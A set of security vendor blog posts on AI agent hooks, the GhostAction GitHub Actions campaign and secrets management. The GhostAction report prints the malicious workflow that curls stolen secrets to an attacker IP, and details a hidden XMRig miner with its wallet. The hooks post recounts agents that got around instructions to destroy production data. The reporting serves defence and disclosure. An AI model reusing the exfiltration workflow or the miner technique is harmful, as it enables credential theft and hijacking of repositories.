An agent might read a configuration file we did not expect. It might call an MCP server, run a shell command, search through another directory, or find a credential that happens to solve the problem in front of it. Those decisions are part of what makes agentic systems so powerful.

Security teams need to account for that power directly.

AI agents are powerful because they find paths we did not predict

We already have many painful examples of agents finding a path their users never expected.

For instance, in April 2026, PocketOS reported that an agent deleted the company's production database and backups in about nine seconds. The agent was troubleshooting a staging credential problem, and it went looking for another way to solve that problem. It found a broadly privileged Railway API token in an unrelated file and used that credential to issue the destructive API call.

The agent had instructions telling it to be careful around destructive operations. Those instructions did not remove its ability to find the token or use the API.

A Replit incident the previous year showed the same larger issue. The developer who vibe coded a SaaS solution reported that Replit's AI agent deleted his production database during a code freeze. Replit subsequently introduced stronger separation between development and production databases.

While these stories are dramatic, the actual steps taken towards a goal were ordinary agent behavior. The agent encountered an obstacle and looked for another path.

This is not a bug; this is a feature. This is exactly why people turn to agents.

When you ask an agent to fix an issue, you are not going to specify every file it should inspect, every command it should run, and every diagnostic path it should consider. If you already knew all of that, you could probably solve the problem without assistance.

We need the agent to explore paths and solutions. The security challenge starts when the agent encounters something that grants unexpected access or powerful tools it should not touch.

Why CLAUDE.md and AGENTS.md rules are suggestions, not controls

To use any agent, we use plain language. We write prompts that explain what we want. We try to be as precise as we can, but language is rather imprecise without being overly verbose.

We create AGENTS.md and CLAUDE.md files. We add system instructions and project-specific guidance. We try to tell agents which commands to use, which directories to avoid, how to run tests, and what production systems they should leave alone.

These mechanisms are extremely useful.

Cursor describes Rules, its name for system-level instructions, as "giving the AI consistent guidance for generating code, interpreting edits, or helping with workflows". This is also the idea behind AGENTS.md files, where plaintext instructions can be stored in an effort to guide the work.

"Guidance" is the central word.

Natural language instructions are suggestions

Consider a simple rule: Never modify production data

This seems straightforward if we told this to a human. This is exactly what the PocketOS team thought too. Giving the agent a larger mission to "fix the application and get it working again" might mean the agent decides that modifying production is absolutely necessary to complete that mission. It may look for a path around the rule, perhaps through a different tool, credential, API, or workflow. Or it might ignore the rule in service of the prompt.

We can keep adding instructions to close the paths we know about, but agents are, in part, designed to find paths we did not think about beforehand, and therefore wrote no control around. That is part of their value. Security cannot rely on instructions alone. We need deterministic controls that make certain actions impossible, regardless of how the agent reasons about the task.

AI agent guardrails that hold: deterministic controls

A control differs from a suggestion because the AI does not have any say in if, or when the rule is followed.

Controls determine what the agent is or is not allowed to do at a system level. You are not suggesting to or trying to reason with the LLM. You are enforcing system-level tool runs that deterministically allow or disallow something to happen.

If an agent should never execute rm -rf against a particular directory, we can remove that command from the available tools it can reach. You can even remove commands entirely from the environment they run in.

If an agent should never call a production API, we can block that endpoint in egress rules, at decision points away from the AI's decisions. And if an agent should never ingest or transmit a credential, we can inspect the workflow and block the secret before it gets there.

How you put these controls in place comes down to how you isolate the agent, such as through sandboxing via Docker Sandboxes, or through firing specific deterministic tool calls or policy checks at key moments in an agent's workflow.

That second part is exactly why coding assistants have added hooks.

What are AI hooks?

A hook is simply a piece of code that runs automatically when something specific happens.

Developers have used this idea for years. This is how compilers and operating systems have called out, at the right time, to other parts of the system when needed. Most developers are probably familiar with Git hooks. For example, a pre-commit hook runs before Git creates a commit. A team can use that moment to check the code, run tests, or scan for secrets. If the check fails, the commit can be stopped.

AI hooks apply the same basic idea to an agent.

When an agent gets a prompt, reads a file, runs a shell command, calls an MCP server, or uses another tool, multiple steps must happen before and after the LLM is invoked to reason about it.

Hooks let us place checks at those important moments.

For example, we can run a hook before the agent executes a command. The hook can inspect that command and decide whether it should be allowed.

A prompt might say: "Never execute dangerous shell commands."
That is guidance. The agent still has to decide what counts as dangerous and whether the larger task justifies doing it anyway.

A hook can be much more direct: If command == 'rm -rf' then exit 2
Note: Exit 2 means stop this step; continue no further, from the system level.

That is enforcement.

Claude Code calls this kind of checkpoint PreToolUse. Before a tool runs, another program can inspect what the agent is trying to do and allow or deny it.

The same idea applies to other points in the workflow. A hook can inspect a prompt before it reaches the model. It can check a file read before the agent sees the contents. It can inspect what comes back from a tool after it runs.

The agent can reason however it wants. It can decide that a certain command, file, or tool is the fastest way to complete the job. The hook sits directly in the path between that decision and the action.

Claude Code hooks, Cursor hooks, and Codex hooks compared

While everyone agrees hooks should exist, and architectures are being designed to accommodate them, there is no single industry standard right now. And the terminology is still messy.

For example, Claude Code documents 33 hook events (at the time of posting) covering everything from UserPromptSubmit and PreToolUse through task creation, permission requests, model switching, context compaction, and session lifecycle events.

Cursor currently documents 21 events across agent interactions, Tab operations, and workspace lifecycle events. Its hooks can inspect or control shell execution, MCP calls, file reads, prompts, tool calls, subagents, and other parts of the agent loop. Cursor explicitly lists scanning for secrets and gating risky operations as hook use cases.

They do not use exactly the same names or expose exactly the same capabilities. There is no centrally agreed-upon hook standard that every coding assistant follows today. But there are some important similarities and a growing convergence towards putting hooks around the most dangerous moments.

Everyone building these systems has to account for roughly the same workflow:

A prompt is entered.
The model decides to use a tool.
The tool is about to execute.
The tool executes.
Something comes back.
The agent continues.

Those transitions give security teams places to enforce policy without trying to anticipate every behavior the model might attempt.

Cursor has even added support for loading Claude Code hook configurations, translating Claude hook names into Cursor equivalents. That is an encouraging sign that interoperability around these control points is beginning to emerge.

Hooks let security focus on capability, not intent

There is a lot of attention on whether an agent is behaving correctly. That is certainly useful and worth discussion, as we can indeed use policy as code to stop the most harmful actions. But intent gets complicated very quickly, and ever-escalating rule creation turns into an endless game of whack-a-mole.

An agent that reads your ~/.aws/credentials might genuinely be troubleshooting an AWS authentication error. An MCP server call could return an API key without the agent or the developer ever expecting it. A developer could paste a token into a debugging prompt without noticing it.

None of these scenarios requires a malicious agent. But each arm the agent with access it might or might not use in an expected way. Along the way, it logs and copies those keys, creating security incidents wherever they appear in plaintext.

Hooks allow us to ask, from a system level, if the agent even should be allowed to use, or see, any secrets along its path.

That is the question GitGuardian AI Hooks are designed to answer for credentials.

GitGuardian AI Hooks put secret detection inside the agent loop

GitGuardian's mission is securing the credential layer across the whole enterprise by helping teams detect, remediate, and prevent secrets sprawl.

Credentials are how we connect people, applications, infrastructure, services, and increasingly AI agents. These plaintext strings move through many surfaces that can hold text, including repositories, CI/CD systems, developer laptops, collaboration tools, cloud infrastructure, and now, AI workflows. Unfortunately, secrets sprawl is a growing issue, not a static one, and it grew 34% year over year, as we saw 28.7 million hardcoded secrets added to GitHub public repos in 2025 alone.

Preventing secrets from being created, stored, or used by an AI agent is now a critical part of that story. That is the story of GitGuardian's AI Hooks.

GitGuardian AI Hooks are part of ggshield, GitGuardian's CLI, which extends the power of the platform into local tools. This is actually a critical point.

We are introducing a way to run a deterministic tool against any leading AI agent within their workflow. We are not suggesting they not use secrets. The tooling tries to make workflows stop if a secret is introduced.

There are three major stages of an AI interaction where our hooks run. While we are using Cursor's naming here, the equivalent exists in all other platforms we support:

beforeSubmitPrompt: Scan what the developer is sending before the model receives it.
preToolUse: Scan commands, file reads, and MCP calls before the agent executes them.
postToolUse: Scan information returned by a tool after it runs.

GitGuardian uses the same secrets detection engine trusted by our customers to deliver the cleanest signal-to-noise ratio, reducing false positives more than anyone.

Each of these stages protects a different path.

Stop secrets before they enter the prompt

The most obvious leak starts with the developer. When someone copies any text into Claude Code, Windsurf, Codex, or Cursor, it is pretty obvious the agent gets access to any keys that come along with the pasted text.

It might take the form of an error message that contains an API key. Or maybe someone pastes a curl command containing a bearer token. Or if part of a configuration file gets copied and the developer misses a plaintext credential in the middle of a giant file.

Once you configure GitGuardian AI Hooks, ggshield scans the prompt before it reaches the model. If it detects a secret, it can block the interaction and alert the developer.

The UserPromptSubmit protection sees the credential before the model needs to reason about the request at all. The model never has to make the right decision about the credential because it never receives the credential.

Stop the agent when its own exploration leads to a secret

Agents get asked to do all sorts of things. Some things sound completely harmless on the surface, but introduce dangers we might not expect.

Consider cloning an internal repository locally. You might, as a first step, ask the agent to: "Read and explain what this code does."

Nothing about that instruction says "go find a secret," but if any files in the project contain a secret, the agent now has access to those systems. Later in the same session, an agent might determine the best path forward is to use the keys it found and access something you never intended it to access, like production.

The agent is following the mission, not your governance program.

GitGuardian's pre-tool protection can inspect file reads, shell commands, and MCP calls before execution. When that operation contains a detected secret, it can be blocked before the credential reaches the model.

Deterministic controls vs. execution logic

Imagine the same scenario again where a repo that might contain a secret is analyzed. Thinking ahead, we could write another Markdown rule like "Never read files containing credentials."

While this might be the desired outcome, the logic behind it has an issue. The agent would have to know the file contains a credential before reading it.

We can suggest more instructions, like "Dump any secrets you find from memory."
But this assumes it knows precisely what you mean by credential or memory. Either way, it still has to have the secret before this could ever be considered, and by then the danger is very real.

A deterministic tool, invoked via a hook, can actually inspect the action at the boundary. It will do so consistently, with a workflow log you can audit reliably.

Catching credentials that it finds after a tool runs

Developers should lock their secrets away from the agents locally, as much as possible. Again, sandboxing can help a good deal here.

But many sources are outside the developer's control.

When the agent executes a shell command, the output might contain a credential. When it calls an MCP tool, the response might contain an access token. Debugging commands can dump an environment variable. A remote service returns sensitive configuration data.

In all cases, after the tool runs, the agent could have new credentials available to help it complete its tasks.

Post-tool hooks create another checkpoint.

GitGuardian AI Hooks scans the output and takes the strongest action the individual assistant supports. Every agent differs in how exactly you can affect the workflow. For example, Claude Code can currently withhold secret-bearing output for shell commands and file reads. Codex and Mistral Vibe can withhold output across every supported tool.

We anticipate these implementations will keep changing as these assistants evolve. We are dedicated to staying up on these developments and updating ggshield to accommodate these changes.

But the architectural idea remains the same: At every important boundary, inspect what is about to cross it.

How to set up AI hooks with ggshield machine setup

Current versions of ggshield can detect supported AI coding assistants and configure their hook systems automatically. Once the CLI is installed and authenticated, the developer or an install script will run:

ggshield machine setup

That is all that is needed. After this, any agents running on the machine will have these three AI hooks enabled. There are options to install just for single agents. There is also the option to install hooks locally in the project, which will then be committed to the codebase, empowering any other developers who have ggshield installed.

GitGuardian currently supports hook integrations across Claude Code, Cursor, Codex, Copilot CLI, VS Code, Mistral Vibe, Kiro, and Junie CLI, with capabilities varying based on what each assistant exposes.

GitGuardian's ggshield can also be deployed via MDM solutions like Iru, Jamf, or Intune. This lets security teams roll out protections to all developer laptops programmatically, freeing the developers from needing to install one more tool from their end.

Deploying through MDM is also how teams integrate GitGuardian Developer Endpoint Protection. This lets teams get real visibility into what secrets live on the developer laptop, assigning risk values and mapping where else the secret exists in your environments. Developer Endpoint Protection empowers teams to discover and revoke any exposed credentials that shouldn't be on a device before a security incident starts.

Stopping agents from abusing any secrets it finds is part of the larger mission of the platform to detect, remediate, and prevent secrets sprawl.

Give agents freedom and put controls at the boundaries

AI agents empower an explosion of new innovation. A lot of this new development is from citizen coders who have no formal code security training. At the same time, those same agents can find paths to access credentials we never would have considered or intended them to find. Prompts and markdown files can point them in the right direction, but security needs controls that hold even when the agent finds other routes.

Fortunately, coding assistants are increasingly exposing control points that let us make deterministic tool calls at critical moments. GitGuardian engineered our AI Hooks to add secret detection directly into key points throughout the agent workflow to stop secrets sprawl and abuse. We can catch credentials in prompts, tool calls, file reads, commands, and tool output before they are used or can spread further.

If you are already using an AI coding assistant, start using ggshield AI Hooks today. Give your agents the freedom to solve problems, and put deterministic protection around the credentials they should never get to use.

If you need to deploy AI hooks at scale, we would love to help you get started. Set up AI hooks.

FAQ

What are AI hooks?

AI hooks are pieces of code that run automatically at specific moments in an AI agent's workflow, such as when a prompt is submitted, before a tool runs, or after a tool returns output. They work like Git hooks, giving security teams deterministic checkpoints that can allow or block an action regardless of how the agent reasoned about the task.

Why aren't prompts and instruction files like AGENTS.md enough to secure AI coding agents?

Natural language instructions are guidance the agent has to interpret. A rule like "never modify production data" can be weighed against a larger mission such as fixing the application, and a capable agent may find another tool, credential, or API to get around it. Security needs deterministic controls that hold even when the agent finds another route.

What is the difference between a control and a suggestion for AI agents?

A suggestion is a plain language instruction the agent can reinterpret or ignore. A control is enforced at the system level, so the agent has no say in whether it applies. Examples include removing a command from the available tools, blocking an endpoint in egress rules, or using a hook that stops a step before it executes.

How do AI hooks help prevent secrets from reaching AI coding assistants?

Hooks place a secret scan at the key boundaries of the agent loop. GitGuardian AI Hooks scan prompts before the model receives them, inspect commands, file reads, and MCP calls before the agent executes them, and scan tool output after it runs. If a secret is detected, the workflow can be stopped or the output withheld before the credential spreads further.

Which AI coding assistants support GitGuardian AI Hooks?

GitGuardian currently supports hook integrations across Claude Code, Cursor, Codex, Copilot CLI, VS Code, Mistral Vibe, Kiro, and Junie CLI. Capabilities vary based on what each assistant exposes. For example, Claude Code can withhold secret-bearing output for shell commands and file reads, while Codex and Mistral Vibe can withhold output across every supported tool.

How do I set up GitGuardian AI Hooks?

Install and authenticate the ggshield CLI, then run ggshield machine setup. ggshield detects supported AI coding assistants on the machine and configures their hook systems automatically. You can also install for a single agent, or install hooks at the project level so other developers with ggshield get the same protection. Security teams can deploy ggshield at scale through MDM solutions like Iru, Jamf, or Intune.

GhostAction Returns: 772 Repos Hit in New GitHub Actions Wave

Dwayne McDaniel — Tue, 13 Oct 2026 17:12:18 +0000

Update, Oct. 9, 2026: The campaign did not stop at the end of September. On Oct. 8, a new burst hit 346 repositories in two automated sweeps lasting minutes, according to analysis published by Socket's research team. Two compromised maintainer accounts, kitao and henrywoo, pushed a workflow named security-audit.yml into every repository they could write to, including kitao/pyxel (18,420 stars) and uber/athenadriver. The exfiltration endpoint is the same 193.32.204.199 address documented below. Socket also reports that this variant sweeps the working tree and full git history for cloud credentials, not only GitHub Actions secrets. Unlike the September wave, where most runs stalled awaiting approval, these runs executed, and Socket confirms successful exfiltration. We are reviewing the new wave against our own data and will update this post.

The campaign we revealed back in September 2025 is back.

In September 2025, GitGuardian alerted to an ongoing supply chain attack we named GhostAction. That campaign compromised 817 public repositories across 327 GitHub users and exfiltrated at least 3,325 secrets. The attack relied on injecting a malicious workflow to steal credentials from victims' CI/CD pipelines, likely using previously compromised credentials. This technique was later reused during the Shai-Hulud campaigns and remains at the core of the Mini Shai-Hulud malware family, which is still used today.

This campaign saw a new spike in summer 2026. Researchers from Cynative independently observed the malicious commits and reached out to us about it.

Same techniques, new victims

The new wave of this campaign started around Aug. 31st, at 2 pm GMT. It uses the exact same techniques and payload we described for the previous wave:

A workflow file named github_actions_security.yml is injected into the victim repo
The commit message is set to Add Github Actions Security workflow
Rather than dumping the entire environment, the workflow hardcodes the names of the secrets the attacker found referenced in the repository's legitimate workflows. It then sends their values in a single curl POST request to the attacker's server.

name: Github Actions Security

on:
  workflow_dispatch:
  push:

jobs:
  send-secrets:
    runs-on: ubuntu-latest

    steps:
      - name: Prepare Cache Busting
        run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV

      - name: Github Actions Security
        run: |
          curl -s -X POST -d 'VPS_HOST=${{ secrets.VPS_HOST }}&VPS_SSH_KEY=${{ secrets.VPS_SSH_KEY }}&VPS_USER=${{ secrets.VPS_USER }}' http://193.32.204.199

As in 2025, the 2026 attacker almost certainly scraped existing workflow/config history for ${{ secrets.NAME }} references, then inserted those same names into the exfiltration workflow.

The only significant change is the exfiltration endpoint. The 2025 wave used bold-dhawan.45-139-104-115.plesk.page and carte-avantage.com. This wave sends the stolen secrets over plain HTTP to a bare IP address: 193.32.204.199.

On Sept. 7th, we also saw a small variant appear in 7 repositories. The file is named security-check.yml, the workflow is called "Security Check", and the commit message is Add security check workflow. It posts the secrets to a dedicated API on the same server, with a unique identifier for each injection:

hxxp://193.32.204.199:3000/api/workflow/receive?inj=<id>

Where id is a unique identifier built into the malicious workflow.

This suggests the attacker now uses a backend that tracks which injection each stolen secret came from.

The scale of the new wave

Between Aug. 31st and Sept. 30th, 2026, the malicious workflow was pushed to 772 public repositories belonging to 373 GitHub users and organizations. As in 2025, every commit was made with the victim's own identity, using what appear to be stolen credentials.

The injections did not happen all at once. We observed three main bursts:

Aug. 31st: 143 repositories
Sept. 2nd to 5th: about 400 repositories, with a peak of 294 on Sept. 5th
Sept. 15th: 103 repositories

Smaller injections continued until the end of September.

Across those repositories, the injected workflows target 2,577 secrets. Some of them, such as hostnames, usernames, or ports, are not sensitive on their own, but the attacker collects them alongside the credentials they belong to. The most targeted secrets are:

SSH private keys and deployment server credentials (446)
Azure credentials (218), with one organization alone exposing an Azure PAT and an SSH key in 92 repositories
Container registry credentials for DockerHub and GHCR (142)
Database credentials (112)
AWS access keys (106)
FTP credentials (92)
Google Cloud and Firebase credentials (80)
GitHub tokens (66)
Telegram, Slack, and Discord bot tokens, plus Cloudflare, npm, PyPI, and AI provider keys

By matching the malicious workflow to its GitHub Actions run records, we found that GitHub held most runs for approval: of the 3,669 runs we collected across 605 repositories, only 499 executed, in 32 repositories. Because the workflow triggers on every push, these runs were mostly caused by legitimate commits pushed after the injection rather than by the injection itself. In total, 336 runs completed successfully, exfiltrating 26 secrets from 13 repositories, with new runs still triggering as of writing.

The cleanup trail is visible in public history: dozens of later commits explicitly describe removing a malicious or credential-exfiltrating workflow. Only 124 repositories (16%) were effectively cleaned in observed public history by 2026-10-05.

A campaign that never stopped

Calling this new wave a revival would be inaccurate. Our data shows that GhostAction never really stopped.

The clearest evidence is in the commits themselves. In 92 cases, the attacker did not add a new workflow. They modified one already in the repository, with the commit message Update Github Actions Security workflow. These workflows were injected during earlier waves and never removed. The attacker simply pointed them at the new endpoint. The replaced endpoints include the original bold-dhawan.45-139-104-115.plesk.page from September 2025, carte-avantage.com, and an endpoint we had not documented before: 170.39.218.2.

Following the exact workflow template through our historical data gives a clearer timeline of the campaign:

Period	Exfiltration endpoint	Repositories
September 2025	`bold-dhawan.45-139-104-115.plesk.page`, `carte-avantage.com`, `objective-hopper.45-139-104-115.plesk.page`	~900
October to December 2025, March 2026	`170.39.218.2`	~75
November 2025, March and April 2026	`*.oast.fun` (Interactsh)	~250
August and September 2026	`193.32.204.199`	772

A cryptominer hidden in DevOpsGPT

The new wave also brings an unexpected twist. While reviewing affected repositories, a cryptominer was found injected into kuafuai/DevOpsGPT, a popular open-source project with about 6,000 stars.

On Aug. 30th, 2026, at 00:30 UTC, about a day and a half before the first GhostAction drop of this wave, a commit titled fix(subtask) 修改OpenAI版本 ("update the OpenAI version") was pushed to the repository. Despite its innocuous message, the commit modifies four files to embed an XMRig miner in the project's Docker image:

The Dockerfile decodes a base64-encoded XMRig 6.21.0 download URL, then strips and UPX-packs the binary, installing it as /usr/local/bin/pyworker. The mining configuration is stored XOR-encrypted in the SERVICE_CONFIG environment variable, with the key devops2024.
run.sh gains a start_service function that copies the binary to a hidden /tmp/.<hash> file and starts it when the application starts.
The application's scheduler gets a fake health_check job that runs every 45 seconds and restarts the miner if it is no longer running. Its state is tracked in /var/run/devops.pid and /var/log/devops.log.

Once decoded, the configuration points to the pool.supportxmr.com:3333 mining pool and the following Monero wallet:

832eKef1fNRTQdiJeJzsvkMMsogMp22FR2FLX1oaV5BxGfoMcJvkcbFgWgNRyNfsE19D9pdM1zdU7D9kRLdJbM5rU1vjfcL

A corresponding Docker image was published to Docker Hub.

On Sept. 15th, the same account was used to push the GhostAction workflow to four of the organization's repositories, including DevOpsGPT, to steal its DockerHub credentials. The organization's maintainers removed the workflows on Sept. 18th, and on Oct. 4th they reverted the cryptominer commit.

So is the GhostAction operator also behind the cryptominer? We are not convinced. The two attacks used the same compromised account, but almost everything else differs:

The GhostAction workflows were created through the GitHub API, under the account's usual identity. The miner commit was pushed with a forged author email we had never seen associated with this developer.
The GhostAction payload is generic and automated. The miner was crafted specifically for this project, with a tailored disguise.
We found no other repository carrying this miner, its configuration, or its wallet, whereas GhostAction hit hundreds of repositories within hours.

Stolen credentials do not always have a single owner

The DevOpsGPT case is not isolated. Cross-referencing GhostAction victims with other malicious activity on GitHub, we found 13 victim repositories that were also used for cryptomining through GitHub Actions. That activity belongs to at least four distinct mining campaigns, with different wallets, pools, and infrastructure. Some of these campaigns hit thousands of repositories.

In most cases, the miners appeared months after the GhostAction workflow. In others, they came first, sometimes only days before. One of those campaigns even copied GhostAction's naming, with commits titled chore(ci): GitHub Security Actions.

The most likely explanation is that the GitHub credentials used by GhostAction are not exclusive to its operator. Leaked tokens, infostealer logs, and credential dumps are traded and reused by many actors. A single compromised developer account can be exploited by several unrelated attackers, each with their own goals.

For victims, this has an important consequence. Rotating the secrets exfiltrated by the malicious workflow is not enough. The GitHub credential that allowed the injection in the first place must be found and revoked too, or someone else will use it again.

Secrets Management Best Practices: 6 Reasons Your Vault Needs Detection

Dwayne McDaniel — Mon, 12 Oct 2026 11:32:11 +0000

TL;DR

Vault stores, governs, rotates, and records: A secrets vault gives organizations a controlled system for storing credentials, governing access, rotating secrets, and recording how they are used. Mature secrets management best practices require both.
Credentials copied into files, logs, and repos: The vault establishes where credentials should live. But every organization also has credentials outside that system of record. Some were created outside the approved process while others were legitimately retrieved and later copied into a local file, build log, or repository.
One inventory, inside and outside the vault: Security teams need a living inventory of all credentials, both inside and outside the vault. They can then act on these incidents faster through automation, while providing stronger audit evidence and measurable proof that credential risk is going down.

What is secrets management?

Secrets is the all-encompassing word we use at GitGuardian for any credential, key, token or other string that can be shared in plaintext and used to access systems or unlock data. Secrets management is the practice of controlling credentials throughout their lifecycle, from creation and secure storage through access, rotation, revocation, and retirement.

A mature program needs visibility into that full lifecycle. Security teams need to know which credentials exist, where they are stored, what they can access, and whether they remain valid. That usually requires more than one category of secrets management tools.

The vault safely stores secrets and manages their use inside the approved system. Detection provides the feedback loop that shows how closely real-world credential use follows that policy.

What a secrets vault actually does

A secrets vault, like any other vault, exists to protect the contents. It does this in part by encrypting the secrets at rest and provides a centralized, protected environment that can be reached by authorized entities. People, applications and workloads can retrieve secrets when they need them through secure encrypted service calls. The vaults enforce access policies, records usage, and supports rotation.

This gives security and infrastructure teams control over the credentials enrolled in the system. A well-run vault can answer important questions about who should have access, when a credential should rotate, and where an approved credential belongs.

The reach of that control depends on adoption. A vault can provide insight over all the credentials registered within it, allowing teams to set policies and governance. But that is as far as it can see. Copies of those credentials generated outside the process, or created after retrieval from the vault and stored in plaintext somewhere else, create a second visibility problem.

What secrets detection actually does

Secrets detection is the process of scanning and searching for credentials throughout code, config, platforms, and everywhere else they can be stored. Secrets are continually being created during normal development and enterprise operations. Traditional detection approaches commonly start with source code and Git history, then extend into CI/CD systems and other development infrastructure.

More mature programs also scan collaboration systems, public exposure, and developer machines. These are all places where credentials can accumulate as people build and operate software.

The strongest secret scanning tools add context to each discovery. Validity checks can establish whether an exposed credential still works. Other context can help determine ownership, exposure, and whether the secret is already managed in a vault.

Total credential layer-wide scanning becomes the feedback mechanism around the vault. The vault shows the intended state. Detection measures what is happening across the wider credential layer.

6 reasons why you need both a secrets vault and a secrets detector

Vaulting and detection support different parts of the same risk management program.

Capability	Secrets vault	Secrets detector
Secure credential storage	✅
Control credential access	✅
Rotation and revocation	✅	Supports remediation
Find unmanaged credentials		✅
Find exposed copies		✅
Detect public exposure		✅
Validate exposed credentials		✅
Discover endpoint exposure		✅
Measure vault coverage	Provides managed inventory	Finds the surrounding gaps
Verify remediation	Performs lifecycle action	Confirms exposure is closed

The value becomes clearer when these capabilities are measured against governance, auditability, operational speed, and executive assurance.

#1 You cannot govern credential risk without knowing the full exposure

Risk management starts with inventory.

A vault gives the organization a reliable inventory of credentials enrolled in that vault. The larger credential inventory can extend far beyond it. Developers create tokens while testing integrations. Teams inherit service accounts through acquisitions. Applications and automated workloads generate credentials as infrastructure evolves.

That visibility gap can become quite large in production. In one consultancy environment, detection uncovered roughly 10,000 secrets across 42 GitHub organizations. About 99% were found in personal repositories rather than the centrally managed repositories security teams expected to monitor. This comes from the same report showing how GitGuardian found 28.6 million new secrets exposed on public GitHub in 2025, up 34% year over year.

Security teams can only govern the credential population they can see. Laptops, or developer endpoints, brings a real dilemma for teams who have spent years focused only on shared surfaces they can control.

Developer machines hold large numbers of secrets because local development requires access to cloud platforms, repositories, APIs, and other systems. Research behind GitGuardian's developer endpoint protection found around 40% of high and critical secrets discovered on endpoints in AI tool directories and log files.

Ultimately, you need to know what is both inside the vaults and outside the vaults to credibly answer the first question behind almost every risk program: what do we actually have? Then you can address the next concern of threat modeling: what are we planning to do about it?

#2 Regulators and auditors care about control effectiveness, not tool ownership

Purchasing and deploying a security control proves that the organization invested in a capability. Auditability requires evidence that the control is operating as intended.

Access logs from a secret management platform can show which identities retrieved credentials. They should also be able to easily bring up rotation records, demonstrating lifecycle controls. Teams, hopefully, can point to the policies as code they have in place to document which workloads should have access.

Detection provides evidence of the effectiveness of the broader policy around what happens to secrets before they ever reach a vault, or what happens when they leave it.

An organization may have a requirement stating that production credentials belong in an approved vault. A mature audit should show how often credentials appear outside that approved system, how quickly those exceptions are identified, and what happens after discovery.

From a risk-assessment perspective, reporting the percentage of known credentials under vault management is a better measure than the count of secrets in the vault. It can show trends in newly exposed credentials and average remediation times. It can also demonstrate whether previously exposed credentials remain valid.

These measurements give organizations stronger evidence for frameworks and certifications such as SOC 2 and ISO 27001. They also give internal audit teams a clearer way to evaluate whether secrets management policies are working across real development environments. When an auditor shows up after an incident, they are not likely to ask, "Do you own a vault?" That is table stakes for any organization managing enterprise infrastructure in the modern era. Their questions will examine whether credential access is controlled, whether exceptions are discovered, and whether those exceptions are resolved.

The vault documents the managed process. Detection measures where reality deviates from that process.

#3 Faster discovery shrinks the window between exposure and remediation

Every exposed credential creates a window during which someone else could use it.

Attackers are well aware that credentials appear somewhere they should not. Finding these credentials is a known part of playbooks and is central to the MITRE ATT&CK framework. There are many examples of attackers succeeding and getting as far as they did precisely because secrets commonly exist outside the vault. Organizations need to constantly discover the exposures, determine whether the credentials remain valid, understand what depends on it, and then revoke or rotate them safely.

Your maturity around scanning and discovery determines how long that process can remain invisible.

Long-lived credentials make delayed discovery particularly dangerous. The State of Secrets Sprawl 2026 found that more than 64% of credentials confirmed valid in 2022 were still valid in January 2026.

A credential exposed once can therefore remain useful for years.

Deleting the visible copy also provides limited assurance. The credential can remain in Git history or another location. Its underlying access remains available until the credential is revoked, expired, or otherwise made unusable.

Any scan needs to have validity checks to help responders identify which findings still represent active access. Vault context can then show how the credential is managed and support the rotation or revocation process.

This creates a much more useful operational metric than raw finding volume: remediation velocity.

Security leaders can measure time from exposure to discovery, discovery to action, and action to verified closure. Improvements in those measurements show that the organization is reducing the amount of time an exposed credential remains useful.

Outside of the security viewpoint, DevOps and product teams should be working to engineer systems that do not require heavy lifting for secrets incident mitigation. Faster detection ultimately supports faster engineering, but preventative engineering means there is less possible disruption. For example, if teams architect in vault use, green/blue deployment strategies, and enforce it through the build process, any secrets rotation should be invisible and painless.

Teams end up spending less time fixing systems months after the original exposure and more time deploying new features for customers.

#4 Credential visibility reduces the cost of incident response

A leaked credential immediately raises several questions. Is it still valid? Who owns it? What does it access?

Credential incidents become more expensive when responders have to discover basic facts during the response in real time. Unfortunately, mostly due to out-of-date documentation.

But those plans rarely answer the next set of questions: What production applications depend on the credential? Will rotation break anything critical? Is this already accounted for elsewhere?

Answering those further critical questions manually consumes time from security, engineering, and infrastructure teams. That is expensive expertise pulled away from normal operations during an already disruptive event. All the while, the clock keeps ticking and the potential blast radius keeps expanding.

You can lower the cost of remediation by approaching credential layer visibility as more than just a collection of plaintext findings in a spreadsheet report with a validity field. You need the context about how the secret is used, what it accesses, and what workflows are associated with it.

Security teams should spend their fastest response cycles on credentials that still work and provide meaningful access. An expired test credential can follow a different workflow.

This is where detection volume alone becomes a poor measure of security value. Ten thousand findings create work. A prioritized set of valid, reachable, high-impact credentials gives responders a path to action.

The goal is less time spent searching during an incident and faster containment, safer credential rotation, and less disruption to the teams responsible for keeping production running.

#5 Detection should help prove that remediation actually reduced risk

Security teams need to worry about both resolving the incident and resolving total credential exposure. Those are different measurements.

An effective secrets management program means closing the loop.

The original finding should lead to a concrete outcome. Any exposed credentials can be revoked or rotated, depending on circumstance. Any unmanaged credentials that remain necessary can be migrated into the vault before being accounted for in code; only then can you close the incident. Copies can be finally and safely removed from the locations where they were leaked.

Security teams need to have the tools to prove they have addressed the issue and no new ones have emerged. This is what good and continual secrets discovery provides.

Validity checking can confirm whether an exposed credential remains usable after remediation. Continued scanning can identify additional copies. Vault context can show whether a replacement credential moved into the managed process.

This is where the persistence of old secrets becomes important. More than 64% of the credentials confirmed valid in 2022 were still valid four years later. A remediation program that measures ticket closure without checking credential validity can create a false sense of progress.

With the right analytics, security teams can deliver the metrics to prove a verified reduction of risk.

Time to revoke measures how quickly usable access disappears. The percentage of valid findings successfully invalidated shows whether remediation is producing the desired outcome. Vault coverage shows whether credentials discovered outside the process are being brought under management.

These measurements connect detection directly to risk reduction. Security teams can show that they found an exposure, took action, and verified that the original access path was closed.

#6 Detection gives leadership a defensible view of credential risk

Security leadership eventually has to translate technical activity into assurance.

Executives rarely need a count of every secret found in every repository. They need to know whether credential risk is understood, whether material exposures are being addressed, and whether the program is improving.

Vault data alone gives leadership a view of the managed credential population. Detection adds the surrounding exposure that security leaders need for a fuller risk picture.

Those two sources make better executive metrics possible.

Leadership wants reports on security posture, which can be shown, in part, by tracking the percentage of discovered credentials under approved management. Teams can show leadership reports of how many valid exposures remain and how quickly they are being revoked. They can also measure how much of the development environment falls within detection coverage.

Having these metrics at your fingertips gives any team a defensible position when they discuss how they are supporting the organization's security goals with CIOs, CTOs, audit committees, and boards.

Security leads can explain where credential exposure exists and how much of it represents active risk. The same leader can show whether remediation velocity is improving and whether more credentials are moving under centralized management.

Security needs confidence that their credential security program finds real risk, prioritizes it, and removes it, while proving that progress is being made toward agreed-upon organizational goals. A mature secrets management strategy needs both the tooling for enterprise-wide vaulting and continual discovery across all surfaces.

Secrets management best practices

Every organization is on its own secrets management maturity journey. Use these six areas as a general roadmap:

Manage all critical secrets from a secret manager: Any secret that can reach something critical needs an authoritative home with oversight. Scope it to least privilege, show who owns it, and keep the vault easy enough for developers to use, so they don't build workarounds.
